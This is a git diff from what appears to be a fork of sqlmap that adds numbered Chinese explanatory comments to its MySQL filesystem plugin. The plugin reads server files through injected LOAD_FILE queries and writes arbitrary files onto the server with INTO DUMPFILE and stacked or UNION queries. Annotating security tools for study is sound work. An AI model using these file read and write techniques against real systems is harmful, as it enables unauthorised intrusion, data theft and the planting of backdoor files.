mysql_filesystem

pull/18/head
Warmlight 3 months ago
parent bb4ebc7514
commit 2ccc7bac72

@ -5,96 +5,118 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.core.agent import agent # 1. 从库中导入需要的模块
from lib.core.common import getSQLSnippet from lib.core.agent import agent # SQL 注入执行代理
from lib.core.common import isNumPosStrValue from lib.core.common import getSQLSnippet # 获取 SQL 代码片段
from lib.core.common import isTechniqueAvailable from lib.core.common import isNumPosStrValue # 检查值是否为正数
from lib.core.common import popValue from lib.core.common import isTechniqueAvailable # 判断某注入方法是否可用
from lib.core.common import pushValue from lib.core.common import popValue # 弹出栈值
from lib.core.common import randomStr from lib.core.common import pushValue # 压入栈值
from lib.core.common import singleTimeWarnMessage from lib.core.common import randomStr # 生成随机字符串
from lib.core.compat import xrange from lib.core.common import singleTimeWarnMessage # 输出只显示一次的警告
from lib.core.data import conf from lib.core.compat import xrange # 兼容的 range 函数
from lib.core.data import kb from lib.core.data import conf # 全局配置信息
from lib.core.data import logger from lib.core.data import kb # 全局知识库
from lib.core.decorators import stackedmethod from lib.core.data import logger # 日志记录器
from lib.core.enums import CHARSET_TYPE from lib.core.decorators import stackedmethod # 堆叠方法装饰器
from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE # 字符集类型
from lib.core.enums import EXPECTED from lib.core.enums import DBMS # 数据库类型枚举
from lib.core.enums import PAYLOAD from lib.core.enums import EXPECTED # 期望类型
from lib.core.enums import PLACE from lib.core.enums import PAYLOAD # payload 类型
from lib.core.exception import SqlmapNoneDataException from lib.core.enums import PLACE # 注入位置
from lib.request import inject from lib.core.exception import SqlmapNoneDataException # 无数据异常
from lib.request.connect import Connect as Request from lib.request import inject # 注入相关函数
from lib.techniques.union.use import unionUse from lib.request.connect import Connect as Request # 连接请求
from plugins.generic.filesystem import Filesystem as GenericFilesystem from lib.techniques.union.use import unionUse # UNION 注入方法
from plugins.generic.filesystem import Filesystem as GenericFilesystem # 通用文件系统操作类
# 2. 定义一个类 Filesystem继承自 GenericFilesystem
class Filesystem(GenericFilesystem): class Filesystem(GenericFilesystem):
# 3. 非堆叠读取文件的方法
def nonStackedReadFile(self, rFile): def nonStackedReadFile(self, rFile):
# 4. 如果不是暴力模式,则输出读取文件信息
if not kb.bruteMode: if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % rFile infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg) logger.info(infoMsg)
# 5. 执行SQL注入读取文件内容并以十六进制返回
result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
# 6. 返回读取结果
return result return result
# 7. 堆叠读取文件的方法
def stackedReadFile(self, remoteFile): def stackedReadFile(self, remoteFile):
# 8. 如果不是暴力模式,则输出读取文件信息
if not kb.bruteMode: if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg) logger.info(infoMsg)
# 9. 创建支持表
self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
# 10. 获取远程临时目录
self.getRemoteTempPath() self.getRemoteTempPath()
# 11. 构建临时文件名
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
# 12. 输出调试信息
debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
debugMsg += "into temporary file '%s'" % tmpFile debugMsg += "into temporary file '%s'" % tmpFile
logger.debug(debugMsg) logger.debug(debugMsg)
# 13. 通过堆叠查询,将文件内容以十六进制形式保存到临时文件
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile)) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))
# 14. 输出调试信息
debugMsg = "loading the content of hexadecimal encoded file " debugMsg = "loading the content of hexadecimal encoded file "
debugMsg += "'%s' into support table" % remoteFile debugMsg += "'%s' into support table" % remoteFile
logger.debug(debugMsg) logger.debug(debugMsg)
# 15. 通过堆叠查询,将临时文件内容导入到支持表中
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
# 16. 从支持表中获取文件内容的长度
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
# 17. 如果获取到的文件长度不合法
if not isNumPosStrValue(length): if not isNumPosStrValue(length):
warnMsg = "unable to retrieve the content of the " warnMsg = "unable to retrieve the content of the "
warnMsg += "file '%s'" % remoteFile warnMsg += "file '%s'" % remoteFile
# 18. 如果是直接模式或可以使用UNION注入
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
if not kb.bruteMode: if not kb.bruteMode:
warnMsg += ", going to fall-back to simpler UNION technique" warnMsg += ", going to fall-back to simpler UNION technique"
logger.warning(warnMsg) logger.warning(warnMsg)
# 19. 使用非堆叠方法读取文件
result = self.nonStackedReadFile(remoteFile) result = self.nonStackedReadFile(remoteFile)
else: else:
# 20. 如果没有可用的方法,则抛出异常
raise SqlmapNoneDataException(warnMsg) raise SqlmapNoneDataException(warnMsg)
else: else:
# 21. 将获取到的文件长度转为整数
length = int(length) length = int(length)
chunkSize = 1024 chunkSize = 1024
# 22. 如果文件长度大于 chunkSize
if length > chunkSize: if length > chunkSize:
result = [] result = []
# 23. 循环读取文件内容
for i in xrange(1, length, chunkSize): for i in xrange(1, length, chunkSize):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk) result.append(chunk)
else: else:
# 24. 直接读取文件内容
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
# 25. 返回文件内容
return result return result
# 26. 使用 UNION 注入写入文件的方法
@stackedmethod @stackedmethod
def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
logger.debug("encoding file to its hexadecimal string value") logger.debug("encoding file to its hexadecimal string value")
# 27. 对本地文件进行十六进制编码
fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0] fcEncodedStr = fcEncodedList[0]
fcEncodedStrLen = len(fcEncodedStr) fcEncodedStrLen = len(fcEncodedStr)
# 28. 如果在 GET 请求中且编码后的长度大于 8000则输出警告信息
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "as the injection is on a GET parameter and the file " warnMsg = "as the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
@ -102,28 +124,36 @@ class Filesystem(GenericFilesystem):
warnMsg += "writing process" warnMsg += "writing process"
logger.warning(warnMsg) logger.warning(warnMsg)
# 29. 输出调试信息
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg) logger.debug(debugMsg)
# 30. 强制使用负数 where 条件
pushValue(kb.forceWhere) pushValue(kb.forceWhere)
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
# 31. 构建 SQL 查询语句
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile) sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)
# 32. 执行 SQL 查询
unionUse(sqlQuery, unpack=False) unionUse(sqlQuery, unpack=False)
kb.forceWhere = popValue() kb.forceWhere = popValue()
# 33. 输出警告信息,提示文件可能包含垃圾字符
warnMsg = "expect junk characters inside the " warnMsg = "expect junk characters inside the "
warnMsg += "file as a leftover from UNION query" warnMsg += "file as a leftover from UNION query"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 34. 检查写入的文件
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
# 35. 使用 LINES TERMINATED 写入文件的方法
def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
logger.debug("encoding file to its hexadecimal string value") logger.debug("encoding file to its hexadecimal string value")
# 36. 对本地文件进行十六进制编码
fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:] fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr) fcEncodedStrLen = len(fcEncodedStr)
# 37. 如果在 GET 请求中且编码后的长度大于 8000则输出警告信息
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file " warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
@ -131,47 +161,59 @@ class Filesystem(GenericFilesystem):
warnMsg += "writing process" warnMsg += "writing process"
logger.warning(warnMsg) logger.warning(warnMsg)
# 38. 输出调试信息
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg) logger.debug(debugMsg)
# 39. 获取 SQL 代码片段
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr) query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr)
# 40. 添加 SQL 前缀
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
# 41. 生成 payload
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
# 42. 执行 SQL 查询
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
# 43. 输出警告信息,提示文件可能包含垃圾字符
warnMsg = "expect junk characters inside the " warnMsg = "expect junk characters inside the "
warnMsg += "file as a leftover from original query" warnMsg += "file as a leftover from original query"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 44. 检查写入的文件
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
# 45. 使用堆叠查询写入文件的方法
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
# 46. 输出调试信息
debugMsg = "creating a support table to write the hexadecimal " debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to" debugMsg += "encoded file to"
logger.debug(debugMsg) logger.debug(debugMsg)
# 47. 创建支持表
self.createSupportTbl(self.fileTblName, self.tblField, "longblob") self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
# 48. 输出调试信息
logger.debug("encoding file to its hexadecimal string value") logger.debug("encoding file to its hexadecimal string value")
# 49. 对本地文件进行十六进制编码
fcEncodedList = self.fileEncode(localFile, "hex", False) fcEncodedList = self.fileEncode(localFile, "hex", False)
# 50. 输出调试信息
debugMsg = "forging SQL statements to write the hexadecimal " debugMsg = "forging SQL statements to write the hexadecimal "
debugMsg += "encoded file to the support table" debugMsg += "encoded file to the support table"
logger.debug(debugMsg) logger.debug(debugMsg)
# 51. 将文件内容转换为 SQL 查询语句
sqlQueries = self.fileToSqlQueries(fcEncodedList) sqlQueries = self.fileToSqlQueries(fcEncodedList)
# 52. 输出调试信息
logger.debug("inserting the hexadecimal encoded file to the support table") logger.debug("inserting the hexadecimal encoded file to the support table")
# 53. 设置最大允许的数据包大小
inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230) inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
# 54. 循环执行 SQL 查询语句
for sqlQuery in sqlQueries: for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery) inject.goStacked(sqlQuery)
# 55. 输出调试信息
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg) logger.debug(debugMsg)
# 56. 使用 DUMPFILE 将数据导出到远程文件
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True) inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) # 57. 检查写入的文件
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
Loading…
Cancel
Save